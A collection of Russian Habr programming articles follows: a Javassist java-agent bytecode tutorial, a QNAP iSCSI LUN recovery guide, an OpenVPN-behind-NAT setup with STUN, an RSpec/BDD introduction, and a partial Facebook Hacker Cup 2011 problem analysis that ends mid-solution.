Ранее мы подготовили структуру проекта и подключили необходимые зависимости.
Напишем саму логику внедрения в байткод. Для этого создадим класс “Agent” и добавим в него единственный метод “premain”. Данный метод абсолютно такой же как метод “main” в простом классическом приложении типа “Hello World” с той лишь разницей, что метод “main” теперь – “premain” и этот метод принимает на вход два параметра. Хоть разница и не значительная но после применения приставки “pre”, наше приложение перестает быть классическим и его уже не получится так просто собрать в два клика через Intellij Idea.
```
public static void premain(String agentArgs, Instrumentation instrumentation) {
}
```
Листинг 7.
Собрать такой проект можно либо руками, компилируя каждый класс, создавая манифест файл, а потом запаковывать все в Jar файл, либо создать Maven проект и автоматизировать всю сборку при помощи определенных “plugin”. Конечно же мы выберем второй вариант, через Maven, так как нам нужно подключить еще и саму библиотеку Javassist.
Здесь-то нам и пригодится наш подготовленный конфиг файла pom.xml (см.выше).
Главный метод “premain” создан и теперь нужно написать соответствующую логику по трансформации байткода целевого приложения. Для этого воспользуемся ”Instrumentation”, ссылку на который мы получили в параметрах. Только перед тем, как использовать ”Instrumentation” мы должны добавить класс, в котором будет описана логика по трансформации загружаемого байткода из классов.
Вот сам класс, в котором происходит трансформация байткода (ниже будет пояснение):
```
public class ClassTransformer implements ClassFileTransformer {
@Override
public byte[] transform(final ClassLoader loader,
final String className,
final Class classBeingRedefined,
final ProtectionDomain protectionDomain,
final byte[] classfileBuffer) {
byte[] byteCode = classfileBuffer;
if ("com.company.Main".equals(className.replaceAll("/", "."))) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get("com.company.Main");
CtMethod myMain = ctClass.getDeclaredMethod("main");
ctClass.removeMethod(myMain);
CtField toBeDeleted = ctClass.getField("myInt1");
ctClass.removeField(toBeDeleted);
CtField ctField = new CtField(CtClass.intType, "myInt1", ctClass);
ctField.setModifiers(Modifier.STATIC | Modifier.FINAL | Modifier.PUBLIC);
ctClass.addField(ctField, "123");
CtField name = CtField.make("static int myInt2 = 45;", ctClass);
ctClass.addField(name);
ctClass.addMethod(CtNewMethod.make("public static void main(String[] args) { int localInt = 67; System.out.println(\"Our numbers : \" + myInt1 + \" : \" + myInt2 + \" : \" + localInt);}", ctClass));
ctClass.addMethod(CtNewMethod.make("public void onEvent(){System.out.println(\"Hello World\");}", ctClass));
CtMethod[] methods = ctClass.getDeclaredMethods();
for (CtMethod method : methods) {
System.out.println("!!!!!!! + " + method.getName());
if (method.getName().equals("main")) {
try {
method.insertAfter("System.out.println(\"Logging using Agent\");");
} catch (CannotCompileException e) {
e.printStackTrace();
}
}
}
try {
byteCode = ctClass.toBytecode();
ctClass.detach();
return byteCode;
} catch (IOException e) {
e.printStackTrace();
}
ctClass.detach();
return byteCode;
} catch (NotFoundException e) {
System.out.println(e.getMessage());
} catch (CannotCompileException e) {
e.printStackTrace();
}
}
return byteCode;
}
}
```
Листинг 8.
А теперь добавим это класс в качестве аргумента для метода addTransformer.
```
instrumentation.addTransformer(new ClassTransformer());
```
Листинг 9.
Ну, все готово для запуска и проверки трансформации нашего байткода.
Перед проверкой мы конечно же разберем что происходит в переопределенном методе “transform” (Листинг 8).
Самое первое на что мы обращаем внимание, так это на то, что данный метод возвращает массив байтов. Дело в том, что на вход данного метода одним из параметров подается массив байт от класса, который загружается. Таким образом в метод “transform” попадают абсолютно все классы, которые загружаются в JVM. Точнее не сами классы, а байткод классов. Именно в тот момент, когда в наш метод “transform” попал байткод определенного класса мы можем трансформировать его на свой лад и вернуть байткод, но в уже в “редактированном виде”. Такое “редактирование” называется “трансформация”.
И сразу же, что приходит в голову, так это то, как мы редактируем байткод, ведь он представлен в шестнадцатеричной системе? Конечно же, разбираться в последовательности закодированных значений довольно не простая задача, да и нам это ни к чему. Ведь специально для таких вот случаев и была написана библиотека Javassist!
С ее помощью, мы будем оперировать байткодом точно так же, как мы оперируем на низком уровне кодом, когда что-то пишем на языке более высокого уровня. Это весьма удобно.
Можно долго дискутировать о том, что программисты уже давно обленились и сейчас мало кто задумывается о том, как вообще происходит сборка проекта, каким образов все упаковывается в один проект и для чего вообще нужен CP, ведь редакторы и плагины позволяют все это делать почти молниеносно, экономя при этом наше драгоценное время и нервы, но размышлять об этом мы здесь не будем.
Начинается самое интересное. Помните, в листинге 6, мы написали нашу стандартную программу из разряда “Hello World”? В нашем варианте мы усовершенствовали “Hello World” и к одноименной фразе добавили еще вывод числа “myInt1”. Теперь наша программа выводит в консоль фразу "Hello World and myInt1 = 77".
Попробуем “трансформировать” байткод класса Main, а именно изменить вывод данной строки, да не просто изменить, а еще попытаемся определить новые переменные, присвоить им значения и вывести все это в консоль!
В листинге 8, видно, что общаться с кодом, через библиотеку Javassist довольно просто. Первое что мы должны сделать – остановиться на том классе, в байткод которого требуется вмешательство. Поэтому обращаемся к переменной “classname” и проверяем на нужном ли классе мы находимся. Если на нужном, то объект, который будет подвержен трансформации найден и можно его начать изменять.
Думаю, что дальше коментарии будут лишними, так как в коде и так все понятно.
Итак, осталось сделать последнее действие – запустить оба наших jar-архива! Это можно сделать командой:
java -javaagent:agent.jar -jar demo.jar
Следует отметить, что запускаемый javaagent – обычная java-программа, а следовательно при запуске можно прописывать все ключи, которые могут быть вам необходимы.
После трансформации наш вывод будет иметь следующий вид:
Our numbers : 123 : 45 : 67
#### Summary:
Наверное на этом стоит остановиться, потому что чем хотел поделиться я поделился:
- мы научились создавать java-проект, который загружается первым и трансформирует код другого загружаемого проекта, путем пропускания его байткода через себя;
- мы научились писать код для трансформации загружаемого байткода;
- мы научились запускать последовательность созданных jar-файлов javaagent и целевого приложения.
Надеюсь эта статья помогла тем, кто хочет начать изучение библиотеки Javassist.
Если есть какие-то дополнения и комментарии, то пожалуйста пишите. Буду рад любой обратной связи. Так же прошу поделиться своими знаниями по тонкостям использования данной библиотеки.
Всем большое спасибо и больших успехов! | https://habr.com/ru/post/664818/ | null | ru | null |
# Гайд для новичков. Как восстановить данные с iSCSI LUN диска QNAP TS-412
В этой статье для новичков, мы обсудим как вернуть данные со iSCSI LUN на примере устройства QNAP TS-412. Как восстановить сетевой диск или достать данные с поврежденного сетевого устройства.
Хотя протокол iSCSI и является достаточно старым, он не теряет свою популярность в построении сетевых хранилищ. Это протокол для взаимодействия и управления системами хранения между серверами и клиентами.
Данный протокол используется для передачи данных по сети и позволяет видеть сетевой носитель как локальный физический, в то время как на самом деле хранилище данных находиться на другом устройстве. Такие носители называют LUN-ами.
LUN – это номер логического объекта. Другими словами, это сетевой диск или его раздел, который имеет свой номер в сети iSCSI. Данный функционал доступен в Synology, QNAP и других серверных устройствах.
Как восстанавливать?
--------------------
Если вы случайно удалили iSCSI LUN, или удалили данные с него, или же просто не можете получить доступ к файлам, хранящимся на вашем NAS, без стороннего софта для восстановления данных вам не обойтись. Программных решений для восстановления данных со iSCSI накопителей немного. Если вам нужна проверенная утилита, которая способна восстановить информацию с таких дисков воспользуйтесь [Hetman RAID Recovery](https://hetmanrecovery.com/ru/raid-data-recovery-software).
Сперва давайте разберем как восстановить утерянный сетевой накопитель.
Прежде чем приступать к процессу восстановления позаботьтесь о наличии накопителя с объёмом превышающим или равным тому сетевому носителю, с которого будете восстанавливать информацию.
Подключите носитель к операционной системе Windows, затем скачайте, установите и запустите Hetman RAID Recovery, просканируйте нужный носитель.
По завершению анализа вам нужно найти следующую папку «@iSCSI».
Внутри каталога будут лежать все ваши iSCSI LUN носители в виде образов. По размеру определите нужный накопитель, отметьте все важные данные и нажмите «Восстановить».
Укажите место куда сохранить и еще раз кликните по кнопке, по завершению процесса файл будет лежать в указанной папке.
Файл перестал быть разреженным, фактически занимаемое место увеличилось до полного размера в 330 Гб.
Теперь есть несколько решений для того, чтобы достать из него информацию:
Первый – восстановить работоспособность сетевого носителя c QNAP.
И второй – загрузить образ в нашу программу, просканировать его и вернуть нужные данные.
Как восстановить работоспособность сетевого диска
-------------------------------------------------
Для первого решения вам понадобиться подключить пустой накопитель к устройству QNAP, загрузить его и создать новый виртуальный диск. С таким же размером, как и предыдущий. А затем скопировать файл на этот накопитель.
Для копирования образа подключите оба носителя к компьютеру с операционной системой Linux либо воспользуйтесь другими инструментами для доступа к файловой системе QNAP.
Смонтируйте и откройте новый носитель в файловом менеджере, на смонтированном диске в корне вы найдите папку с таким именем **[iscsi](https://habr.com/ru/users/iscsi/).img.**
Переименуйте данный каталог к примеру, в **[iscsi](https://habr.com/ru/users/iscsi/).img2**, а затем создайте папку с таким же именем **[iscsi](https://habr.com/ru/users/iscsi/).img**.
Далее нужно скопировать наш файл в только что созданный каталог. Для этого воспользуемся терминалом, так как нам нужно преобразовать данный образ в разреженный. Сделать это можно, выполнив команду копирования – «cp».
Открываем терминал и вводим следующую команду:
`cp /media/lin/1/iSCSI-q330-606d5c77.000 /media/lin/38c8b452-81c2-4347-afb4-49d71eaf7e6e/@iscsi.img/iSCSI-q330-606d5c77.000 --sparse=always`
где:
* /media/lin/1/iSCSI-q330-606d5c77.000 – путь к образу.
* /media/lin/38c8b452-81c2-4347-afb4-49d71eaf7e6e/@iscsi.img/iSCSI-q330-606d5c77.000 — путь куда нужно скопировать образ.
* И аргумент --sparse=always — преобразует его в разреженный.
При большом объёме образа, процесс копирования займет довольно продолжительное время.
В терминале не отображается никакой информации о статусе процесса копирования, эту информацию можно посмотреть в системном мониторе, здесь отображается объём скопированной информации, по которому можно, приблизительно, определить, как скоро закончится процесс.
Ну вот файл успешно скопирован на новый носитель, для проверки выполним команду:
`du -h iSCSI-q330-606d5c77.000`
Открываем данный каталог в терминале и вводим команду с именем.
Как видите образ занимает на диске меньше 200 Мб, хотя его видимый размер составляет 330Гб. 1Гб, 10Гб. 5Гб.
`du -h --apparent-size iSCSI-q330-606d5c77.000`
Это подтверждение того, что при копировании он был преобразован в разреженный.
После успешной операции копирования нужно подправить конфигурационный файл, заменить имя нового сетевого накопителя на нужное.
Подключите носитель к устройству QNAP и загрузите его. С помощью Winscp или другой утилиты настройте соединение с сервером. Укажите ip, логин, пароль, и нажмите войти.
Программа **Winscp** по умолчанию не видит скрытые файлы, так как каталог может быть скрыт сначала нужно включить их отображение. Откройте настройки – Панели – Показывать скрытые файлы.
Затем перейдите по такому пути **/mnt/HDA\_ROOT/.config**, найдите файл с названием **iscsi\_trgt.conf** и откройте его. Здесь нужно найти строку **LunMetapath** и заменить имя нового LUN на имя того файла, который мы восстановили **(iSCSI-q330-606d5c77.000).**
`iSCSI-330q-606d9e8b`
Число «001» что в конце означает, сколько частей имеет ваш ISCSI. В моем случае он состоит из одного накопителя.
Далее сохраните изменения. Если у вас несколько носителей нужно изменить все их имена.
Перезагружаем QNAP и ждем пока он загрузится. После загрузки откройте инициатор iSCSI, и подключите диск повторно. После чего накопитель появится в проводнике со всеми данными.
Как вернуть данные из файла образа iSCSI
----------------------------------------
Для второго решения нужно «скормить» файл в программу Hetman RAID Recovery.
Откройте утилиту, перейдите во вкладку «Сервис» и нажмите «Монтировать». Укажите путь к образу, чтобы программа его отобразила в поле «образы». Укажите здесь «Все файлы», затем отметьте его и нажмите «Открыть».
В менеджере появится смонтированный носитель. Кликните по нему правой кнопкой мыши и нажмите «Открыть», выберите «Полный анализ», укажите файловую систему и нажмите «Далее», и по завершении Готово. Как видите программа нашла и отобразила данные, которые лежали на сетевом носителе. Чтобы их вернуть, отметьте нужные и нажмите «Восстановить», укажите путь куда их сохранить и кликните еще раз по кнопке. По завершении все они будут в указанной ранее папке.
**Как видите второй способ намного проще. Если LUN не был удален, а вышло из строя NAS устройство, достаточно просто смонтировать образ в программу и восстановить информацию.**
Полную версию статьи со всеми дополнительными видео уроками смотрите в [источнике](https://hetmanrecovery.com/ru/recovery_news/how-to-recover-data-from-iscsi-lun-of-qnap-ts-412-disk.htm). А также зайдите на наш [Youtube канал](https://www.youtube.com/channel/UCFs5l-T7tsoDfQ3DtYiyqWw), там собраны более 400 обучающих видео. | https://habr.com/ru/post/553870/ | null | ru | null |
# Запуск VPN-сервера за провайдерским NAT'ом
Статья о том, как мне удалось запустить VPN-сервер за NAT'ом домашнего провайдера (без белого IP-адреса). Сразу оговорюсь: что **работоспособность данной реализация напрямую зависит от типа NAT используемого Вашим провайдером, а также роутером**.
Итак, возникла у меня необходимость подключаться со своего Android-смартфона к домашнему компьютеру, оба девайса подключены к Интернету через провайдерские NAT'ы, плюсом компьютер подключен через домашний роутер, который тоже NAT'ил соединения.
Классическая схема с использованием арендованного VPS/VDS с белым IP-адресом, а также аренда белого IP-адреса у провайдера не рассматривалась по нескольким причинам.
С учетом [опыта прошлых статей](https://habr.com/ru/post/481034/), проведя несколько опытов со STUNами и NAT'ами провайдеров. Решился на небольшой эксперимент, выполнив команду на домашнем роутере работающем на прошивке OpenWRT:
```
$ stun stun.sipnet.ru
```
получил результат:
> STUN client version 0.97
>
> Primary: Independent Mapping, Independent Filter, random port, will hairpin
>
> Return value is **0x000002**
Дословный перевод:
Independent Mapping — независимое отображение
Independent Filter — независимый фильтр
random port — случайный порт
will hairpin — будет шпилька
Выполнив аналогичную команду на своем ПК, получил:
> STUN client version 0.97
>
> Primary: Independent Mapping, Port Dependent Filter, random port, will hairpin
>
> Return value is **0x000006**
Port Dependent Filter — порт зависимый фильтр
Разница в результатах вывода команд говорила о том, что домашний роутер вносил «свою лепту» в процесс трансляции пакетов из Интернета, это проявлялось в том, что при выполнении команды на компьютере:
```
stun stun.sipnet.ru -p 11111 -v
```
я получал результат:
> …
>
> MappedAddress = XX.1XX.1X4.2XX:4398
>
> ...
в это момент на некоторое время открывалась UDP-сессия, если в этот момент послать UDP-запрос (например: netcat XX.1XX.1X4.2XX 4398 -u), то запрос приходил на домашний роутер, что подтвердил TCPDump запущенный на нем, но запрос не доходил до компьютера — IPtables в качестве NAT-транслятора на роутере дропал его.
Но сам факт прохождения UDP запроса через провайдерский NAT давал надежду на успех. Так как роутер находится в моей юрисдикции, решил проблему перенаправлением UDP/11111 порта на компьютер:
```
iptables -t nat -A PREROUTING -i eth1 -p udp -d 10.1XX.2XX.XXX --dport 11111 -j DNAT --to-destination 192.168.X.XXX
```
Тем самым получил возможность инициировать UDP-сессию и получать запросы из Интернета с любого IP-адреса. В этот момент запустил OpenVPN-server (предварительно сконфигурировав) слушая UDP/11111 порт, указал на смартфоне внешний IP-адрес и порт (XX.1XX.1X4.2XX:4398) и успешно подключился со смартфона к компьютеру. Но в данной реализации возникла проблема, нужно было как-то поддерживать UDP-сессию до момента подключения OpenVPN-клиента к серверу, вариант с периодическим запуском STUN-клиента мне не понравился — не хотелось впусту нагружать STUN-серверы.
Так же обратил внимание на запись "[will hairpin — будет шпилька](https://vasexperts.ru/blog/kogda-zakonchatsya-adresa-ipv4-cgnat/)", данный режим
> Hairpinning позволяет одной машине в локальной сети за NAT получить доступ к другой машине в той же сети по внешнему адресу маршрутизатора.
В итоге проблему поддержания UDP-сессии решил просто — запустил клиента на этом же компьютере с сервером.
Работало это так:
* запускал STUN-клиента с локальным портом 11111
* получал ответ с внешним IP-адресом и портом XX.1XX.1X4.2XX:4398
* отправлял данные с внешним IP-адресом и портом на почту (возможен любой другой сервис), настроенную на смартфоне
* запускал OpenVPN-сервер на компьютере с прослушкой UDP/11111 порта
* запускал OpenVPN-клиента на компьютере с указанием XX.1XX.1X4.2XX:4398 для подключения
* в любое время запускал OpenVPN-клиента на смартфоне с указанием IP-адреса и порта (в моем случае IP-адрес не менялся) для подключения
Таким образом я получил возможность подключаться к своему компьютеру со смартфона. Данная реализация позволяет подключать любого OpenVPN-клиента.
### Практика
Понадобится:
```
# apt install openvpn stun-client sendemail
```
Написав пару скриптов, пару конфигурационных файлов, сгенерировав необходимые сертификаты (так как клиент на смартфоне работает только по сертификатам) получилась обычная реализация OpenVPN-сервера.
### Основной скрипт на компьютере
```
# cat vpn11.sh
```
```
#!/bin/bash
until [[ -n "$iftosrv" ]]; do echo "$(date) Определяю сетевой интерфейс"; iftosrv=`ip route get 8.8.8.8 | head -n 1 | sed 's|.*dev ||' | awk '{print $1}'`; sleep 5; done
ABSOLUTE_FILENAME=`readlink -f "$0"`
DIR=`dirname "$ABSOLUTE_FILENAME"`
localport=11111
until [[ $a ]]; do
address=`stun stun.sipnet.ru -v -p $localport 2>&1 | grep "MappedAddress" | sort | uniq | head -n 1 | sed 's/:/ /g' | awk '{print $3" "$4}'`
ip=`echo "$address" | awk {'print $1'}`
port=`echo "$address" | awk {'print $2'}`
srv="openvpn --config $DIR/server.conf --port $localport --daemon"
$srv
echo "$(date) Сервер запущен с внешним адресом $ip:$port"
$DIR/sendemail.sh "OpenVPN-Server" "$ip:$port"
sleep 1
openvpn --config $DIR/client.conf --remote $ip --port $port
echo "$(date) Cоединение клиента с сервером разорвано"
for i in `ps xa | grep "$srv" | grep -v grep | awk '{print $1}'`; do
kill $i && echo "$(date) Завершен процесс сервера $i ($srv)"
done
echo "Жду 15 сек"
sleep 15
done
```
Скрипт отправки данных на почту:
```
# cat sendemail.sh
```
```
#!/bin/bash
from="От кого"
pass="Пароль"
to="Кому"
theme="$1"
message="$2"
server="smtp.yandex.ru:587"
sendEmail -o tls=yes -f "$from" -t "$to" -s "$server" -xu "$from" -xp "$pass" -u "$theme" -m "$message"
```
Конфигурационный файл сервера:
```
# cat server.conf
```
```
proto udp
dev tun
ca /home/vpn11-srv/ca.crt
cert /home/vpn11-srv/server.crt
key /home/vpn11-srv/server.key
dh /home/vpn11-srv/dh2048.pem
server 10.2.0.0 255.255.255.0
ifconfig-pool-persist ipp.txt
tls-server
tls-auth /home/vpn11-srv/ta.key 0
tls-timeout 60
auth SHA256
cipher AES-256-CBC
client-to-client
keepalive 10 30
comp-lzo
max-clients 10
user nobody
group nogroup
persist-key
persist-tun
log /var/log/vpn11-server.log
verb 3
mute 20
```
Конфигурационный файл клиента:
```
# cat client.conf
```
```
client
dev tun
proto udp
ca "/home/vpn11-srv/ca.crt"
cert "/home/vpn11-srv/client1.crt"
key "/home/vpn11-srv/client1.key"
tls-client
tls-auth "/home/vpn11-srv/ta.key" 1
auth SHA256
cipher AES-256-CBC
auth-nocache
comp-lzo
user nobody
group nogroup
persist-key
persist-tun
log /var/log/vpn11-clent.log
verb 3
mute 20
ping 10
ping-exit 30
```
Генерация сертификатов производилась по [этой статье](https://help.ubuntu.ru/wiki/openvpn).
Запуск скрипта:
```
# ./vpn11.sh
```
Предварительно сделав его исполняемым
```
# chmod +x vpn11.sh
```
### На стороне смартфона
Установив приложение **OpenVPN для Android**, скопировав конфигурационный файл, сертификаты и настроив его, получилось так:
**На смартфоне проверяю почту**
**Правлю номер порта в настройках**
**Запускаю клиента и подключаюсь**
В процессе написания статьи я перенес конфигурацию с компьютера на Raspberry Pi 3 и попробовал запустить всё это дело на LTE модеме, но не получилось! Результат команды
```
# stun stun.ekiga.net -p 11111
```
> STUN client version 0.97
>
> Primary: Independent Mapping, Port Dependent Filter, random port, will hairpin
>
> Return value is **0x000006**
>
>
значение **Port Dependent Filter** не позволило запуститься системе.
Но домашний провайдер без проблем дал запуститься системе на Raspberry Pi 3.
В связке с вэб-камерой, сVLC для
**создания RTSP-потока с вэб-камеры**
```
$ cvlc v4l2:///dev/video0:chroma=h264 :input-slave=alsa://hw:1,0 --sout '#transcode{vcodec=x264,venc=x264{preset=ultrafast,profile=baseline,level=31},vb=2048,fps=12,scale=1,acodec=mpga,ab=128,channels=2,samplerate=44100,scodec=none}:rtp{sdp=rtsp://10.2.0.1:8554/}' --no-sout-all --sout-keep
```
и VLC на смартфоне для просмотра (поток rtsp://10.2.0.1:8554/), получилась не плохая система видеонаблюдения на расстоянии, так же можно поднять Samba и обмениваться файлами, маршрутизировать трафик через VPN,
**удаленно управлять компьютером**
и много чего еще…
### Вывод
Как показала практика, для организации VPN-сервера можно обойтись и без внешнего IP-адреса за который нужно платить, так же как и за арендуемый VPS/VDS. Но всё зависит от провайдера. Конечно хотелось получить больше информации о различных провайдерах и типах используемых NAT'ов, но ведь это только начало…
Спасибо за внимание! | https://habr.com/ru/post/482888/ | null | ru | null |
# Экстремальное программирование, знакомство с Behavior Driven Development и RSpec
#### Теория
Для начала, давайте разберемся, что же такое Behavior Driven Development(в дальнейшем BDD) и чем данная техника отличается от Test-Driven Development(в дальнейшем TDD)
Разрабо́тка че́рез тести́рование (англ. test-driven development) — техника программирования, при которой модульные тесты для программы или её фрагмента пишутся до самой программы (англ. test-first development) и, по существу, управляют её разработкой. Является одной из основных практик [экстремального программирования](http://ru.wikipedia.org/wiki/%D0%AD%D0%BA%D1%81%D1%82%D1%80%D0%B5%D0%BC%D0%B0%D0%BB%D1%8C%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5).
Хотя подход с предварительным тестированием работает у многих, он подходит не для всех. На каждого разработчика приложений, с успехом применяющего TDD, найдется несколько разработчиков, активно отрицающих этот подход. Несмотря на многочисленность инфраструктур тестирования, таких как TestNG, Selenium и FEST, все равно находится много причин не выполнять тестирование кода.
Две обычные причины отказа от TDD – «у нас недостаточно времени для тестирования» и «код слишком сложный и трудно проверяемый». Другой преградой для программирования с предварительным написанием тестов является сама концепция «тест пишется до кода». Большинство рассматривает тестирование как осязаемое действие, скорее конкретное, нежели абстрактное. Опыт подсказывает, что невозможно проверить то, что еще не существует. Для некоторых разработчиков, остающихся в рамках этой концепции, идея предварительного тестирования — просто оксюморон.
Но что если вместо того, чтобы думать в терминах написания тестов и тестирования компонентов, начать думать о функциональности? Говоря про функциональность, я имею в виду как приложение должно вести себя, фактически его спецификацию.
На самом деле большинство из нас уже и так думает подобным образом. Смотрите:
> Фрэнк: Что такое стек?
>
>
>
> Линда: Это структура данных, хранящая объекты в порядке «первым вошел, последним вышел» или «последним вошел, первым вышел». Обычно у этой структуры есть API с такими методами, как push() и pop(). Иногда присутствует метод peek().
>
>
>
> Фрэнк: Что делает метод push()?
>
>
>
> Линда: Метод push() принимает входной объект, например, foo и помещает его во внутренний контейнер, например, массив. Метод push() обычно ничего не возвращает.
>
>
>
> Фрэнк: Что будет, если передать методу push() два объекта, например, сначала foo, а потом bar?
>
>
>
> Линда: Второй объект bar должен оказаться наверху концептуального стека, содержащего по крайней мере два объекта, так что при вызове метода pop() объект bar должен быть извлечен первым, до первого объекта foo. Если метод pop() вызвать еще раз, должен быть возвращен объект foo и стек должен стать пустым (предполагается, что в нем ничего не было до того, как мы добавили эти два объекта).
>
>
>
> Фрэнк: Так метод pop() удаляет самый последний элемент, добавленный в стек?
>
>
>
> Линда: Да, метод pop() должен удалить верхний элемент, при этом предполагается, что в стеке есть элементы, чтобы их удалять. Метод peek() работает точно также, но при этом объект не удаляется. Метод peek() должен оставить верхний элемент в стеке.
>
>
>
> Фрэнк: Что будет, если вызвать метод pop(), когда в стек еще ничего не было добавлено?
>
>
>
> Линда: Метод pop() должен выдать исключение, показывающее, что в стек еще ничего не добавлялось.
>
>
>
> Фрэнк: Что будет, если выполнить команду push() null?
>
>
>
> Линда: Стек должен выдать исключение, так как null не является допустимым значением для метода push().
>
>
Можно ли выделить что-нибудь особенное в этом диалоге, кроме того, что Фрэнк не силен в структурах данных? Нигде не использовалось слово «тестирование». Однако слово «должен» проскальзывало регулярно и звучало довольно естественно.
В подходе BDD нет ничего нового или революционного. Это просто эволюционное ответвление подхода TDD, где слово «тест» заменено словом «должен». Если отложить в сторону слова, то многие найдут понятие «должен» более естественным для процесса разработки, чем понятие «тест». Мышление в терминах функциональности (того, что код должен делать), приводит к подходу, когда сначала пишутся классы для проверки спецификации, которые, в свою очередь, могут оказаться очень эффективным инструментом реализации.
#### Практика
RSpec — это BDD framework для Ruby
Установка:
> [sudo] gem install rspec
>
>
либо
> git clone git://github.com/dchelimsky/rspec.git
>
> cd rspec
>
> rake gem
>
> rake install\_gem
>
>
Давайте представим, что вашим заказчиком является банк. Проиллюстрируем, еще раз, диалог с заказчиком, в стиле BDD:
> Вы: Пожалуйста, опишите, каким должен быть счет после его создания?
>
> Заказчик: Счет должен иметь баланс равный $0.
>
>
Вот как мы опишем данный разговор в RSpec:
> `describe Account, " when first created" do
>
>
>
> before do
>
> @account = Account.new
>
> end
>
>
>
> it "should have a balance of $0" do
>
> @account.balance.should eql(Money.new(0, :dollars))
>
> end
>
>
>
> after do
>
> @account = nil
>
> end
>
>
>
> end
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Если выполнить этот пример, RSpec может вернуть подобное описание:
> Account, when first created
>
> — should have a balance of $0
>
>
Пример того, как вы можете использовать #before и/или #after блоки, в вашем коде:
> `describe Thing do
>
> before(:all) do
>
> # This is run once and only once, before all of the examples
>
> # and before any before(:each) blocks.
>
> end
>
>
>
> before(:each) do
>
> # This is run before each example.
>
> end
>
>
>
> before do
>
> # :each is the default, so this is the same as before(:each)
>
> end
>
>
>
> it "should do stuff" do
>
> ...
>
> end
>
>
>
> it "should do more stuff" do
>
> ...
>
> end
>
>
>
> after(:each) do
>
> # this is before each example
>
> end
>
>
>
> after do
>
> # :each is the default, so this is the same as after(:each)
>
> end
>
>
>
> after(:all) do
>
> # this is run once and only once after all of the examples
>
> # and after any after(:each) blocks
>
> end
>
>
>
> end
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
#### В заключение
Если статья получит положительные отзывы, то появиться цикл статей на данную тему.
Для затравки, ниже несколько ссылок для углубленного, самостоятельного изучения:
[Оффициальная документация (англ.)](http://rspec.info/rails/writing/)
[Хороший пошаговый мануал (англ.)](http://www.ibm.com/developerworks/web/library/wa-rspec/?S_TACT=105AGX99&S_CMP=CP)
[Разработка через тестирование (рус.)](http://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D0%B7%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B0_%D1%87%D0%B5%D1%80%D0%B5%D0%B7_%D1%82%D0%B5%D1%81%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5)
[Знакомство с Behavior Driven Development (BDD) (рус.)](http://www.ibm.com/developerworks/ru/library/j-cq09187/index.html)
[Определение BDD (англ.)](http://en.wikipedia.org/wiki/Behavior_Driven_Development)
[Кратки мануал по RSpec (англ.)](http://rspec.rubyforge.org/rspec/1.1.12/)
[Определение TDD (рус.)](http://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D0%B7%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B0_%D1%87%D0%B5%D1%80%D0%B5%D0%B7_%D1%82%D0%B5%D1%81%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5) | https://habr.com/ru/post/52929/ | null | ru | null |
# Разбор задач Hacker Cup Qualification Round + перенос Facebook Hacker Cup Online Round I
Facebook Hacker Cup 2011 проходит в 4 раунда — квалификационный, два онлайн раунда и финальный, в главном офисе.
Квалификационный раунд, анонсированный [официально](http://www.facebook.com/hackercup "Официально") [Хабром](http://habrahabr.ru/blogs/sport_programming/109848/) завершился успешно.
[Результаты раунда](http://www.facebook.com/hackercup/scoreboard.php/?round=4) говорят о 5846 игроках, прошедших в первый онлайн тур.
Участникам квалификационного раунда предлагалось 3 задачи, для прохождения достаточно было правильного решения любой из них.
**А вот первый онлайн раунд, прервав ближе к завершению, перенесли из-за технических проблем минимум на неделю:**
We've decided to push back the remaining subrounds of round 1 until we are sure that they can run smoothly. Updates will follow here, but you can safely assume that the subrounds will not occur at least until next weekend.
В целях экономии места, перевод условий я сокращу, оставив суть, необходимую для решения. Полные условия доступны [в оригинале на английском](http://www.facebook.com/hackercup/problems.php/?round=4 "Здесь лежат условия оригинала на английском").
### Задача 1. «Double Squares»
Найти число представлений целого числа в виде суммы двух полныых квадратов целых (например: 10=1^2+3^2 — одно разложение, а 25=5^2+0^2=4^2+3^2 два разных разложения).
* Диапазон входящих чисел от нуля до 2147483647
На входящие числа:
10 25 3 0 1
Правильный ответ программы:
1 2 0 1 1
На задачу наложено ограничение по времени — отправить ответ нужно до истечения 6 минут с момента скачивания файла заданий, в котором максимум 100 чисел, требующих подсчета числа разложений.
#### Решаем:
Оценка: корень из 2147483647 равен 46340,95 — не так уж и много.
Идея: заполнить массив полными квадратами от 0 до 46341
тогда задача сведется к пробеганию с двух концов массива вовнутрь:
* сумма квадратов больше заданного числа — правую границу сдвигаем влево
* сумма квадратов меньше заданного числа — левую границу сдвигаем вправо
* сумма квадратов равна заданному числу — инкрементируем результат
* границы соединились — выводим ответ, берем следующее число
А пока голова думает, руки успевают набрать кривое решение прямым перебором (обходя массив слева направо и из разности исходного числа и квадрата беря корень).
Приводить код не буду — сэкономим внимание для более интересной задач.
### Задача 2. Peg Game
Между двумя стенками в шахматном порядке закреплены шайбы (красные):
С зеленого кружочка падает монетка, которая налетая на шайбу равновероятно отскакивает левее или правее (от крайней шайбы монетка всегда отскакивает вовнутрь). Падая монетка попадет в голубой кружочек — выход. Если монетку кидали в средний кружок, она может путешествовать вдоль любой стрелочки:
Во входящих данных указан размер «поля» — всегда нечетного числа строк, и любого числа столбцов, и номер выхода, в который нужно попасть монеткой.
За ответ принимают номер окна и вероятность, с которой монетка попадет в заданный выход с наибольшей вероятностью.
Помимо этого, некоторые шайбы удалены (потерялись от времени).
Будем рассматривать поле поменьше, в котором 1 шайба потерялась, а попасть нужно в средний выход:
#### Решение
Рекурсия с подсчетом всевозможных путей не успеет — максимальный размер поля 99на100 а за отведенные 6 минут нужно успеть просчитать до 100 разных полей, и успеть отправить назад результат.
Ключевая идея:
